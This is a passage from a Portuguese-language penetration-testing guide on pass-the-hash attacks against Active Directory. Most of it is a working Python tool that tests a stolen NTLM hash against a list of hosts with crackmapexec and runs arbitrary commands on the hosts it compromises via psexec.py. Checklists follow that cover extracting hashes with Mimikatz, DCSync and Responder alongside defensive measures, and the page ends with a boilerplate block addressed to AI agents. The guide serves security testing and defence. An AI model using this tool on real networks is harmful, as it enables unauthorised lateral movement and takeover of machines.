        self.targets = self._load_targets(targets_file)
        self.results = []
    
    def _load_targets(self, filename):
        """Carregar targets de arquivo"""
        try:
            with open(filename, 'r') as f:
                return [line.strip() for line in f if line.strip()]
        except:
            return []
    
    def test_target(self, target):
        """Testar um alvo específico"""
        print(f"[*] Testando {target}...")
        
        cmd = [
            'crackmapexec', 'smb', target,
            '-u', self.username,
            '-H', self.ntlm_hash,
            '--shares'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            if "Pwn3d!" in result.stdout or "Pwn3d!" in result.stderr:
                print(f"   ✅ ALVO VULNERÁVEL: {target}")
                self.results.append({
                    'target': target,
                    'status': 'VULNERABLE',
                    'output': result.stdout
                })
                return True
            else:
                print(f"   ❌ {target} não vulnerável")
                return False
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_all_parallel(self, threads=10):
        """Testar todos os alvos em paralelo"""
        print(f"[*] Testando {len(self.targets)} alvos com {threads} threads...")
        
        def worker(q):
            while not q.empty():
                target = q.get()
                self.test_target(target)
                q.task_done()
        
        q = queue.Queue()
        for target in self.targets:
            q.put(target)
        
        for _ in range(threads):
            t = threading.Thread(target=worker, args=(q,))
            t.daemon = True
            t.start()
        
        q.join()
    
    def execute_on_vulnerable(self, command):
        """Executar comando em alvos vulneráveis"""
        print(f"[*] Executando comando em alvos vulneráveis: {command}")
        
        for result in self.results:
            if result['status'] == 'VULNERABLE':
                target = result['target']
                print(f"   Executando em {target}...")
                
                cmd = [
                    'psexec.py',
                    f'{self.domain}/{self.username}@{target}',
                    '-hashes', f'aad3b435b51404eeaad3b435b51404ee:{self.ntlm_hash}',
                    command
                ]
                
                try:
                    subprocess.run(cmd, capture_output=True, text=True, timeout=30)
                    print(f"      ✅ Comando executado")
                except:
                    print(f"      ❌ Falha")
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO DE PENTEST PASS-THE-HASH")
        print("=" * 60)
        
        vulnerable = [r for r in self.results if r['status'] == 'VULNERABLE']
        
        print(f"Total de alvos testados: {len(self.targets)}")
        print(f"Alvos vulneráveis: {len(vulnerable)}")
        
        if vulnerable:
            print("\n🔑 ALVOS VULNERÁVEIS:")
            for v in vulnerable:
                print(f"   • {v['target']}")
        
        print("\n🎯 RECOMENDAÇÕES:")
        print("   • Desabilitar NTLM onde possível")
        print("   • Habilitar Credential Guard")
        print("   • Usar Protected Users group")
        print("   • Habilitar SMB Signing")
        print("   • Monitorar acesso ao LSASS")
    
    def run(self, command=None):
        """Executar pentest completo"""
        print("🔑 Pass-the-Hash Pentest")
        print("=" * 60)
        print(f"   Domain: {self.domain}")
        print(f"   User: {self.username}")
        print(f"   Hash: {self.ntlm_hash[:16]}...")
        print(f"   Targets: {len(self.targets)}")
        
        if not self.targets:
            print("❌ Nenhum alvo especificado")
            return
        
        self.test_all_parallel()
        
        if command and self.results:
            self.execute_on_vulnerable(command)
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Pass-the-Hash Pentest Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('username', help='Username')
    parser.add_argument('hash', help='NTLM hash')
    parser.add_argument('targets', help='File with targets')
    parser.add_argument('--command', help='Command to execute on vulnerable hosts')
    
    args = parser.parse_args()
    
    pentest = PassTheHashPentest(args.domain, args.username, args.hash, args.targets)
    pentest.run(args.command)
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Desabilitar NTLM (se possível)
* [ ] Habilitar Credential Guard
* [ ] Configurar Protected Users group
* [ ] Habilitar SMB Signing
* [ ] Habilitar LSA Protection

#### **Monitoramento**

* [ ] Monitorar acesso ao LSASS
* [ ] Alertar sobre ferramentas como Mimikatz
* [ ] Analisar eventos 4624 e 4776
* [ ] Detectar logons network anômalos

#### **Resposta a Incidentes**

* [ ] Rotacionar senhas comprometidas
* [ ] Revogar tokens e tickets
* [ ] Investigar movimento lateral
* [ ] Isolar hosts comprometidos

### **Checklist para Pentesters**

#### **Coleta**

* [ ] Extrair hashes via Mimikatz
* [ ] Extrair via DCSync
* [ ] Capturar via Responder

#### **Testes**

* [ ] Testar SMB com hash
* [ ] Testar WMI/WinRM com hash
* [ ] Executar comandos remotamente
* [ ] Dumpar hashes adicionais

#### **Documentação**

* [ ] Documentar hosts vulneráveis
* [ ] Demonstrar movimento lateral
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
Pass-the-Hash Attack:

  🔴 Principais Vetores:
    - Hashes NTLM extraídos da memória
    - LSASS sem proteção
    - NTLM habilitado
    - SMB signing desabilitado

  🛡️ Mitigações Essenciais:
    - Desabilitar NTLM
    - Habilitar Credential Guard
    - Habilitar SMB signing
    - Proteger LSASS

  🎯 Prioridade:
    - CRÍTICA: Proteger LSASS
    - ALTA: Desabilitar NTLM
    - MÉDIA: SMB signing
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/pass-the-hash-pth.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.